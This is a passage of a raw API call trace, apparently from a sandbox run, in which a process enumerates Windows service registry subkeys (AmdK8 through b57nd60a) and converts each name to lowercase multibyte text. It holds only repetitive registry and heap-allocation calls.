dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.368] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.368] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0249.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.369] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.370] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.371] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f19b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.372] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f19b8, 